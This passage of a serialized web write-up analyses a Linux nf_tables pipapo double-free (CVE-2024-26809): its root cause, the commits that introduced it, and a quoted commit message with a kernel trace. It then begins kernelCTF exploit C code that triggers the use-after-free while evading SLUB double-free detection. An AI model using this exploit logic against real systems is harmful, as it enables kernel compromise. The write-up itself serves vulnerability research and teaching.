",{"type":24,"tag":32,"props":55535,"children":55537},{"className":55536},[],[55538],{"type":29,"value":52797},{"type":29,"value":55540}," true in the release step because the ",{"type":24,"tag":32,"props":55542,"children":55544},{"className":55543},[],[55545],{"type":29,"value":54169},{"type":29,"value":55547}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":24,"tag":32,"props":55549,"children":55551},{"className":55550},[],[55552],{"type":29,"value":55553},"set->dead",{"type":29,"value":55555}," flag. If a ",{"type":24,"tag":32,"props":55557,"children":55559},{"className":55558},[],[55560],{"type":29,"value":52843},{"type":29,"value":55562}," was marked for deletion, it receives the ",{"type":24,"tag":32,"props":55564,"children":55566},{"className":55565},[],[55567],{"type":29,"value":55553},{"type":29,"value":55569}," flag ",{"type":24,"tag":90,"props":55571,"children":55572},{},[55573],{"type":29,"value":3191},{"type":29,"value":55575},". If this flag is set, then the commit path will skip any commitments to this ",{"type":24,"tag":32,"props":55577,"children":55579},{"className":55578},[],[55580],{"type":29,"value":52843},{"type":29,"value":2877},{"type":24,"tag":90,"props":55583,"children":55584},{},[55585],{"type":29,"value":4051},{"type":29,"value":55587},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":24,"tag":32,"props":55589,"children":55591},{"className":55590},[],[55592],{"type":29,"value":55593},"priv ->dirty",{"type":29,"value":55595}," flag is not cleared when it should have been.",{"type":24,"tag":850,"props":55597,"children":55599},{"id":55598},"tracing-the-guilty-commit",[55600],{"type":29,"value":55601},"Tracing the guilty commit",{"type":24,"tag":25,"props":55603,"children":55604},{},[55605,55607,55614,55616,55622,55624,55629,55631,55637],{"type":29,"value":55606},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":24,"tag":69,"props":55608,"children":55611},{"href":55609,"rel":55610},"https://ubuntu.com/security/CVE-2024-26809",[73],[55612],{"type":29,"value":55613},"advisories",{"type":29,"value":55615}," about this vulnerability will say it was introduced by this ",{"type":24,"tag":69,"props":55617,"children":55620},{"href":55618,"rel":55619},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[73],[55621],{"type":29,"value":54503},{"type":29,"value":55623},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":24,"tag":32,"props":55625,"children":55627},{"className":55626},[],[55628],{"type":29,"value":55553},{"type":29,"value":55630}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":24,"tag":69,"props":55632,"children":55635},{"href":55633,"rel":55634},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[73],[55636],{"type":29,"value":54503},{"type":29,"value":226},{"type":24,"tag":25,"props":55639,"children":55640},{},[55641],{"type":29,"value":55642},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":24,"tag":80,"props":55644,"children":55648},{"className":55645,"code":55646,"language":55647,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G W 5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919] \u003CTASK>\n[16302.231921] __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934] nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946] nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952] ? __nla_validate_parse+0x48/0x190\n[16302.231959] nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963] netlink_unicast+0x211/0x340\n[16302.231969] netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[55649],{"type":24,"tag":32,"props":55650,"children":55651},{"__ignoreMap":7},[55652,55660,55668,55675,55683,55691,55698,55706,55713,55721,55729,55736,55744,55752,55760,55768,55776,55784,55792,55800,55808,55815,55823,55831,55838,55846,55854,55862,55870,55878,55885,55893,55901],{"type":24,"tag":90,"props":55653,"children":55654},{"class":92,"line":93},[55655],{"type":24,"tag":90,"props":55656,"children":55657},{},[55658],{"type":29,"value":55659},"New elements that reside in the clone are not released in case that the\n",{"type":24,"tag":90,"props":55661,"children":55662},{"class":92,"line":200},[55663],{"type":24,"tag":90,"props":55664,"children":55665},{},[55666],{"type":29,"value":55667},"transaction is aborted.\n",{"type":24,"tag":90,"props":55669,"children":55670},{"class":92,"line":239},[55671],{"type":24,"tag":90,"props":55672,"children":55673},{"emptyLinePlaceholder":16},[55674],{"type":29,"value":245},{"type":24,"tag":90,"props":55676,"children":55677},{"class":92,"line":248},[55678],{"type":24,"tag":90,"props":55679,"children":55680},{},[55681],{"type":29,"value":55682},"[16302.231754] ------------[ cut here ]------------\n",{"type":24,"tag":90,"props":55684,"children":55685},{"class":92,"line":258},[55686],{"type":24,"tag":90,"props":55687,"children":55688},{},[55689],{"type":29,"value":55690},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":24,"tag":90,"props":55692,"children":55693},{"class":92,"line":272},[55694],{"type":24,"tag":90,"props":55695,"children":55696},{},[55697],{"type":29,"value":12686},{"type":24,"tag":90,"props":55699,"children":55700},{"class":92,"line":281},[55701],{"type":24,"tag":90,"props":55702,"children":55703},{},[55704],{"type":29,"value":55705},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G W 5.19.0-rc3+ #155\n",{"type":24,"tag":90,"props":55707,"children":55708},{"class":92,"line":384},[55709],{"type":24,"tag":90,"props":55710,"children":55711},{},[55712],{"type":29,"value":12686},{"type":24,"tag":90,"props":55714,"children":55715},{"class":92,"line":420},[55716],{"type":24,"tag":90,"props":55717,"children":55718},{},[55719],{"type":29,"value":55720},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":24,"tag":90,"props":55722,"children":55723},{"class":92,"line":428},[55724],{"type":24,"tag":90,"props":55725,"children":55726},{},[55727],{"type":29,"value":55728},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n",{"type":24,"tag":90,"props":55730,"children":55731},{"class":92,"line":437},[55732],{"type":24,"tag":90,"props":55733,"children":55734},{},[55735],{"type":29,"value":12686},{"type":24,"tag":90,"props":55737,"children":55738},{"class":92,"line":574},[55739],{"type":24,"tag":90,"props":55740,"children":55741},{},[55742],{"type":29,"value":55743},"[16302.231917] Call Trace:\n",{"type":24,"tag":90,"props":55745,"children":55746},{"class":92,"line":606},[55747],{"type":24,"tag":90,"props":55748,"children":55749},{},[55750],{"type":29,"value":55751},"[16302.231919] \u003CTASK>\n",{"type":24,"tag":90,"props":55753,"children":55754},{"class":92,"line":615},[55755],{"type":24,"tag":90,"props":55756,"children":55757},{},[55758],{"type":29,"value":55759},"[16302.231921] __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":24,"tag":90,"props":55761,"children":55762},{"class":92,"line":623},[55763],{"type":24,"tag":90,"props":55764,"children":55765},{},[55766],{"type":29,"value":55767},"[16302.231934] nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":24,"tag":90,"props":55769,"children":55770},{"class":92,"line":632},[55771],{"type":24,"tag":90,"props":55772,"children":55773},{},[55774],{"type":29,"value":55775},"[16302.231946] nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":24,"tag":90,"props":55777,"children":55778},{"class":92,"line":669},[55779],{"type":24,"tag":90,"props":55780,"children":55781},{},[55782],{"type":29,"value":55783},"[16302.231952] ? __nla_validate_parse+0x48/0x190\n",{"type":24,"tag":90,"props":55785,"children":55786},{"class":92,"line":683},[55787],{"type":24,"tag":90,"props":55788,"children":55789},{},[55790],{"type":29,"value":55791},"[16302.231959] nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":24,"tag":90,"props":55793,"children":55794},{"class":92,"line":737},[55795],{"type":24,"tag":90,"props":55796,"children":55797},{},[55798],{"type":29,"value":55799},"[16302.231963] netlink_unicast+0x211/0x340\n",{"type":24,"tag":90,"props":55801,"children":55802},{"class":92,"line":751},[55803],{"type":24,"tag":90,"props":55804,"children":55805},{},[55806],{"type":29,"value":55807},"[16302.231969] netlink_sendmsg+0x21e/0x460\n",{"type":24,"tag":90,"props":55809,"children":55810},{"class":92,"line":782},[55811],{"type":24,"tag":90,"props":55812,"children":55813},{"emptyLinePlaceholder":16},[55814],{"type":29,"value":245},{"type":24,"tag":90,"props":55816,"children":55817},{"class":92,"line":791},[55818],{"type":24,"tag":90,"props":55819,"children":55820},{},[55821],{"type":29,"value":55822},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":24,"tag":90,"props":55824,"children":55825},{"class":92,"line":799},[55826],{"type":24,"tag":90,"props":55827,"children":55828},{},[55829],{"type":29,"value":55830},"elements in the lookup tables.\n",{"type":24,"tag":90,"props":55832,"children":55833},{"class":92,"line":807},[55834],{"type":24,"tag":90,"props":55835,"children":55836},{"emptyLinePlaceholder":16},[55837],{"type":29,"value":245},{"type":24,"tag":90,"props":55839,"children":55840},{"class":92,"line":821},[55841],{"type":24,"tag":90,"props":55842,"children":55843},{},[55844],{"type":29,"value":55845},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":24,"tag":90,"props":55847,"children":55848},{"class":92,"line":6278},[55849],{"type":24,"tag":90,"props":55850,"children":55851},{},[55852],{"type":29,"value":55853},"cloned matching data if priv->dirty is set, because that means that\n",{"type":24,"tag":90,"props":55855,"children":55856},{"class":92,"line":11420},[55857],{"type":24,"tag":90,"props":55858,"children":55859},{},[55860],{"type":29,"value":55861},"cloned data might point to additional elements we did not commit to the\n",{"type":24,"tag":90,"props":55863,"children":55864},{"class":92,"line":11438},[55865],{"type":24,"tag":90,"props":55866,"children":55867},{},[55868],{"type":29,"value":55869},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":24,"tag":90,"props":55871,"children":55872},{"class":92,"line":11483},[55873],{"type":24,"tag":90,"props":55874,"children":55875},{},[55876],{"type":29,"value":55877},"to it).\"\n",{"type":24,"tag":90,"props":55879,"children":55880},{"class":92,"line":11589},[55881],{"type":24,"tag":90,"props":55882,"children":55883},{"emptyLinePlaceholder":16},[55884],{"type":29,"value":245},{"type":24,"tag":90,"props":55886,"children":55887},{"class":92,"line":25306},[55888],{"type":24,"tag":90,"props":55889,"children":55890},{},[55891],{"type":29,"value":55892},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":24,"tag":90,"props":55894,"children":55895},{"class":92,"line":25341},[55896],{"type":24,"tag":90,"props":55897,"children":55898},{},[55899],{"type":29,"value":55900},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":24,"tag":90,"props":55902,"children":55903},{"class":92,"line":25349},[55904],{"type":24,"tag":90,"props":55905,"children":55906},{},[55907],{"type":29,"value":55908},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":24,"tag":25,"props":55910,"children":55911},{},[55912,55914,55919,55921,55926,55928,55933,55935,55940],{"type":29,"value":55913},"As we previously discussed, committing changes to a pipapo ",{"type":24,"tag":32,"props":55915,"children":55917},{"className":55916},[],[55918],{"type":29,"value":52843},{"type":29,"value":55920}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":24,"tag":32,"props":55922,"children":55924},{"className":55923},[],[55925],{"type":29,"value":54169},{"type":29,"value":55927}," method by simply replacing the ",{"type":24,"tag":32,"props":55929,"children":55931},{"className":55930},[],[55932],{"type":29,"value":52843},{"type":29,"value":55934},"s match object with its updated clone. So checking the ",{"type":24,"tag":32,"props":55936,"children":55938},{"className":55937},[],[55939],{"type":29,"value":52797},{"type":29,"value":55941}," flag and then calling free again ensures we also free uncommitted changes.",{"type":24,"tag":25,"props":55943,"children":55944},{},[55945,55947,55952],{"type":29,"value":55946},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":24,"tag":32,"props":55948,"children":55950},{"className":55949},[],[55951],{"type":29,"value":52843},{"type":29,"value":55953},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":24,"tag":25,"props":55955,"children":55956},{},[55957,55959,55965,55967,55972,55974,55979],{"type":29,"value":55958},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":24,"tag":32,"props":55960,"children":55962},{"className":55961},[],[55963],{"type":29,"value":55964},"set->ops->destroy()",{"type":29,"value":55966}," could be called without clearing the ",{"type":24,"tag":32,"props":55968,"children":55970},{"className":55969},[],[55971],{"type":29,"value":52797},{"type":29,"value":55973}," flag, which was fine considering you didn't have duplicated views of the ",{"type":24,"tag":32,"props":55975,"children":55977},{"className":55976},[],[55978],{"type":29,"value":52835},{"type":29,"value":55980},"s, so they would all be in the clone set.",{"type":24,"tag":25,"props":55982,"children":55983},{},[55984,55986,55991],{"type":29,"value":55985},"But when the ",{"type":24,"tag":32,"props":55987,"children":55989},{"className":55988},[],[55990],{"type":29,"value":55553},{"type":29,"value":55992}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":24,"tag":25,"props":55994,"children":55995},{},[55996],{"type":29,"value":55997},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":24,"tag":850,"props":55999,"children":56001},{"id":56000},"kernelctf-exploit",[56002],{"type":29,"value":56003},"KernelCTF exploit",{"type":24,"tag":25,"props":56005,"children":56006},{},[56007,56009,56015,56017,56024],{"type":29,"value":56008},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":24,"tag":32,"props":56010,"children":56012},{"className":56011},[],[56013],{"type":29,"value":56014},"nft_object + udata",{"type":29,"value":56016}," technique shared by lonial con in a ",{"type":24,"tag":69,"props":56018,"children":56021},{"href":56019,"rel":56020},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[73],[56022],{"type":29,"value":56023},"previous kernelCTF exploit",{"type":29,"value":226},{"type":24,"tag":1019,"props":56026,"children":56028},{"id":56027},"trigger-uafavoid-double-free-detection",[56029],{"type":29,"value":56030},"Trigger UAF/avoid double-free detection",{"type":24,"tag":25,"props":56032,"children":56033},{},[56034,56036,56042,56044,56050],{"type":29,"value":56035},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":24,"tag":32,"props":56037,"children":56039},{"className":56038},[],[56040],{"type":29,"value":56041},"nft_set_pipapo_match_destroy",{"type":29,"value":56043}," iterates over the ",{"type":24,"tag":32,"props":56045,"children":56047},{"className":56046},[],[56048],{"type":29,"value":56049},"setelems",{"type":29,"value":56051}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":24,"tag":3100,"props":56053,"children":56054},{},[56055,56060,56065,56070],{"type":24,"tag":3104,"props":56056,"children":56057},{},[56058],{"type":29,"value":56059},"Element A gets freed",{"type":24,"tag":3104,"props":56061,"children":56062},{},[56063],{"type":29,"value":56064},"Element B gets free",{"type":24,"tag":3104,"props":56066,"children":56067},{},[56068],{"type":29,"value":56069},"Element A gets freed again (double-free)",{"type":24,"tag":3104,"props":56071,"children":56072},{},[56073],{"type":29,"value":56074},"Element B gets freed again (double-free)",{"type":24,"tag":80,"props":56076,"children":56078},{"className":30921,"code":56077,"language":30923,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n // TRANSACTION 2\n[...]\n\n // create pipapo set\n uint8_t desc[2] = {16, 16};\n set = create_set(\n batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n // commit 2 elems to set (elems A and B that will be double-freed)\n for (int i = 0; i \u003C 2; i++)\n {\n elem[i] = nftnl_set_elem_alloc();\n memset(key, 0x41 + i, KEY_LEN);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n nftnl_set_elem_add(set, elem[i]);\n }\n[...]\n\n // TRANSACTION 3\n[...]\n set = nftnl_set_alloc();\n nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n // make priv->dirty true\n memset(key, 0xff, KEY_LEN);\n elem[3] = nftnl_set_elem_alloc();\n nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n nftnl_set_elem_add(set, elem[3]);\n[...]\n\n // double-free commited elems\n[...]\n nftnl_set_free(set);\n}\n[...]\n",[56079],{"type":24,"tag":32,"props":56080,"children":56081},{"__ignoreMap":7},[56082,56089,56150,56157,56164,56172,56179,56186,56194,56218,56239,56273,56334,56341,56349,56401,56408,56434,56461,56500,56529,56558,56580,56587,56594,56601,56609,56616,56624,56637,56650,56670,56677,56685,56707,56739,56784,56820,56848,56855,56862,56870,56877,56893,56900],{"type":24,"tag":90,"props":56083,"children":56084},{"class":92,"line":93},[56085],{"type":24,"tag":90,"props":56086,"children":56087},{"style":114},[56088],{"type":29,"value":12686},{"type":24,"tag":90,"props":56090,"children":56091},{"class":92,"line":200},[56092,56097,56101,56106,56110,56115,56119,56124,56129,56133,56137,56141,56146],{"type":24,"tag":90,"props":56093,"children":56094},{"style":114},[56095],{"type":29,"value":56096},"static void trigger_uaf(",{"type":24,"tag":90,"props":56098,"children":56099},{"style":97},[56100],{"type":29,"value":3050},{"type":24,"tag":90,"props":56102,"children":56103},{"style":146},[56104],{"type":29,"value":56105}," mnl_socket",{"type":24,"tag":90,"props":56107,"children":56108},{"style":97},[56109],{"type":29,"value":366},{"type":24,"tag":90,"props":56111,"children":56112},{"style":136},[56113],{"type":29,"value":56114},"nl",{"type":24,"tag":90,"props":56116,"children":56117},{"style":114},[56118],{"type":29,"value":133},{"type":24,"tag":90,"props":56120,"children":56121},{"style":97},[56122],{"type":29,"value":56123},"size_t",{"type":24,"tag":90,"props":56125,"children":56126},{"style":136},[56127],{"type":29,"value":56128}," size",{"type":24,"tag":90,"props":56130,"children":56131},{"style":114},[56132],{"type":29,"value":133},{"type":24,"tag":90,"props":56134,"children":56135},{"style":97},[56136],{"type":29,"value":20841},{"type":24,"tag":90,"props":56138,"children":56139},{"style":97},[56140],{"type":29,"value":366},{"type":24,"tag":90,"props":56142,"children":56143},{"style":136},[56144],{"type":29,"value":56145},"msgqids",{"type":24,"tag":90,"props":56147,"children":56148},{"style":114},[56149],{"type":29,"value":1686},{"type":24,"tag":90,"props":56151,"children":56152},{"class":92,"line":239},[56153],{"type":24,"tag":90,"props":56154,"children":56155},{"style":114},[56156],{"type":29,"value":2221},{"type":24,"tag":90,"props":56158,"children":56159},{"class":92,"line":248},[56160],{"type":24,"tag":90,"props":56161,"children":56162},{"style":114},[56163],{"type":29,"value":12686},{"type":24,"tag":90,"props":56165,"children":56166},{"class":92,"line":258},[56167],{"type":24,"tag":90,"props":56168,"children":56169},{"style":114},[56170],{"type":29,"value":56171}," // TRANSACTION 2\n",{"type":24,"tag":90,"props":56173,"children":56174},{"class":92,"line":272},[56175],{"type":24,"tag":90,"props":56176,"children":56177},{"style":114},[56178],{"type":29,"value":12686},{"type":24,"tag":90,"props":56180,"children":56181},{"class":92,"line":281},[56182],{"type":24,"tag":90,"props":56183,"children":56184},{"emptyLinePlaceholder":16},[56185],{"type":29,"value":245},{"type":24,"tag":90,"props":56187,"children":56188},{"class":92,"line":384},[56189],{"type":24,"tag":90,"props":56190,"children":56191},{"style":114},[56192],{"type":29,"value":56193}," // create pipapo set\n",{"type":24,"tag":90,"props":56195,"children":56196},{"class":92,"line":420},[56197,56202,56206,56210,56214],{"type":24,"tag":90,"props":56198,"children":56199},{"style":114},[56200],{"type":29,"value":56201}," uint8_t desc[2] = {",{"type":24,"tag":90,"props":56203,"children":56204},{"style":349},[56205],{"type":29,"value":42664},{"type":24,"tag":90,"props":56207,"children":56208},{"style":114},[56209],{"type":29,"value":133},{"type":24,"tag":90,"props":56211,"children":56212},{"style":349},[56213],{"type":29,"value":42664},{"type":24,"tag":90,"props":56215,"children":56216},{"style":114},[56217],{"type":29,"value":3093},{"type":24,"tag":90,"props":56219,"children":56220},{"class":92,"line":428},[56221,56226,56230,56235],{"type":24,"tag":90,"props":56222,"children":56223},{"style":114},[56224],{"type":29,"value":56225}," set ",{"type":24,"tag":90,"props":56227,"children":56228},{"style":120},[56229],{"type":29,"value":5491},{"type":24,"tag":90,"props":56231,"children":56232},{"style":108},[56233],{"type":29,"value":56234}," create_set",{"type":24,"tag":90,"props":56236,"children":56237},{"style":114},[56238],{"type":29,"value":680},{"type":24,"tag":90,"props":56240,"children":56241},{"class":92,"line":437},[56242,56247,56251,56256,56261,56265,56269],{"type":24,"tag":90,"props":56243,"children":56244},{"style":114},[56245],{"type":29,"value":56246}," batch, seq",{"type":24,"tag":90,"props":56248,"children":56249},{"style":120},[56250],{"type":29,"value":53093},{"type":24,"tag":90,"props":56252,"children":56253},{"style":114},[56254],{"type":29,"value":56255},", exploit_table_name, ",{"type":24,"tag":90,"props":56257,"children":56258},{"style":1085},[56259],{"type":29,"value":56260},"\"pwn_set\"",{"type":24,"tag":90,"props":56262,"children":56263},{"style":114},[56264],{"type":29,"value":133},{"type":24,"tag":90,"props":56266,"children":56267},{"style":349},[56268],{"type":29,"value":45321},{"type":24,"tag":90,"props":56270,"children":56271},{"style":114},[56272],{"type":29,"value":748},{"type":24,"tag":90,"props":56274,"children":56275},{"class":92,"line":574},[56276,56281,56285,56290,56294,56299,56303,56307,56311,56316,56321,56325,56329],{"type":24,"tag":90,"props":56277,"children":56278},{"style":114},[56279],{"type":29,"value":56280}," NFT_SET_INTERVAL ",{"type":24,"tag":90,"props":56282,"children":56283},{"style":120},[56284],{"type":29,"value":12784},{"type":24,"tag":90,"props":56286,"children":56287},{"style":114},[56288],{"type":29,"value":56289}," NFT_SET_OBJECT ",{"type":24,"tag":90,"props":56291,"children":56292},{"style":120},[56293],{"type":29,"value":12784},{"type":24,"tag":90,"props":56295,"children":56296},{"style":114},[56297],{"type":29,"value":56298}," NFT_SET_CONCAT, KEY_LEN, ",{"type":24,"tag":90,"props":56300,"children":56301},{"style":349},[56302],{"type":29,"value":3191},{"type":24,"tag":90,"props":56304,"children":56305},{"style":114},[56306],{"type":29,"value":133},{"type":24,"tag":90,"props":56308,"children":56309},{"style":120},[56310],{"type":29,"value":123},{"type":24,"tag":90,"props":56312,"children":56313},{"style":114},[56314],{"type":29,"value":56315},"desc, ",{"type":24,"tag":90,"props":56317,"children":56318},{"style":97},[56319],{"type":29,"value":56320},"NULL",{"type":24,"tag":90,"props":56322,"children":56323},{"style":114},[56324],{"type":29,"value":133},{"type":24,"tag":90,"props":56326,"children":56327},{"style":349},[56328],{"type":29,"value":6408},{"type":24,"tag":90,"props":56330,"children":56331},{"style":114},[56332],{"type":29,"value":56333},", NFT_OBJECT_CT_EXPECT);\n",{"type":24,"tag":90,"props":56335,"children":56336},{"class":92,"line":606},[56337],{"type":24,"tag":90,"props":56338,"children":56339},{"emptyLinePlaceholder":16},[56340],{"type":29,"value":245},{"type":24,"tag":90,"props":56342,"children":56343},{"class":92,"line":615},[56344],{"type":24,"tag":90,"props":56345,"children":56346},{"style":252},[56347],{"type":29,"value":56348}," // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":24,"tag":90,"props":56350,"children":56351},{"class":92,"line":623},[56352,56356,56360,56364,56369,56373,56377,56381,56385,56389,56393,56397],{"type":24,"tag":90,"props":56353,"children":56354},{"style":636},[56355],{"type":29,"value":5434},{"type":24,"tag":90,"props":56357,"children":56358},{"style":114},[56359],{"type":29,"value":1151},{"type":24,"tag":90,"props":56361,"children":56362},{"style":97},[56363],{"type":29,"value":20841},{"type":24,"tag":90,"props":56365,"children":56366},{"style":114},[56367],{"type":29,"value":56368}," i ",{"type":24,"tag":90,"props":56370,"children":56371},{"style":120},[56372],{"type":29,"value":5491},{"type":24,"tag":90,"props":56374,"children":56375},{"style":349},[56376],{"type":29,"value":5448},{"type":24,"tag":90,"props":56378,"children":56379},{"style":114},[56380],{"type":29,"value":53057},{"type":24,"tag":90,"props":56382,"children":56383},{"style":120},[56384],{"type":29,"value":1575},{"type":24,"tag":90,"props":56386,"children":56387},{"style":349},[56388],{"type":29,"value":10312},{"type":24,"tag":90,"props":56390,"children":56391},{"style":114},[56392],{"type":29,"value":53088},{"type":24,"tag":90,"props":56394,"children":56395},{"style":120},[56396],{"type":29,"value":53093},{"type":24,"tag":90,"props":56398,"children":56399},{"style":114},[56400],{"type":29,"value":1686},{"type":24,"tag":90,"props":56402,"children":56403},{"class":92,"line":632},[56404],{"type":24,"tag":90,"props":56405,"children":56406},{"style":114},[56407],{"type":29,"value":30998},{"type":24,"tag":90,"props":56409,"children":56410},{"class":92,"line":669},[56411,56416,56421,56425,56430],{"type":24,"tag":90,"props":56412,"children":56413},{"style":136},[56414],{"type":29,"value":56415}," elem",{"type":24,"tag":90,"props":56417,"children":56418},{"style":114},[56419],{"type":29,"value":56420},"[i] ",{"type":24,"tag":90,"props":56422,"children":56423},{"style":120},[56424],{"type":29,"value":5491},{"type":24,"tag":90,"props":56426,"children":56427},{"style":108},[56428],{"type":29,"value":56429}," nftnl_set_elem_alloc",{"type":24,"tag":90,"props":56431,"children":56432},{"style":114},[56433],{"type":29,"value":236},{"type":24,"tag":90,"props":56435,"children":56436},{"class":92,"line":683},[56437,56442,56447,56452,56456],{"type":24,"tag":90,"props":56438,"children":56439},{"style":108},[56440],{"type":29,"value":56441}," memset",{"type":24,"tag":90,"props":56443,"children":56444},{"style":114},[56445],{"type":29,"value":56446},"(key, ",{"type":24,"tag":90,"props":56448,"children":56449},{"style":349},[56450],{"type":29,"value":56451},"0x41",{"type":24,"tag":90,"props":56453,"children":56454},{"style":120},[56455],{"type":29,"value":1714},{"type":24,"tag":90,"props":56457,"children":56458},{"style":114},[56459],{"type":29,"value":56460}," i, KEY_LEN);\n",{"type":24,"tag":90,"props":56462,"children":56463},{"class":92,"line":737},[56464,56469,56473,56477,56482,56487,56491,56496],{"type":24,"tag":90,"props":56465,"children":56466},{"style":108},[56467],{"type":29,"value":56468}," nftnl_set_elem_set",{"type":24,"tag":90,"props":56470,"children":56471},{"style":114},[56472],{"type":29,"value":117},{"type":24,"tag":90,"props":56474,"children":56475},{"style":136},[56476],{"type":29,"value":53888},{"type":24,"tag":90,"props":56478,"children":56479},{"style":114},[56480],{"type":29,"value":56481},"[i], NFTNL_SET_ELEM_OBJREF, 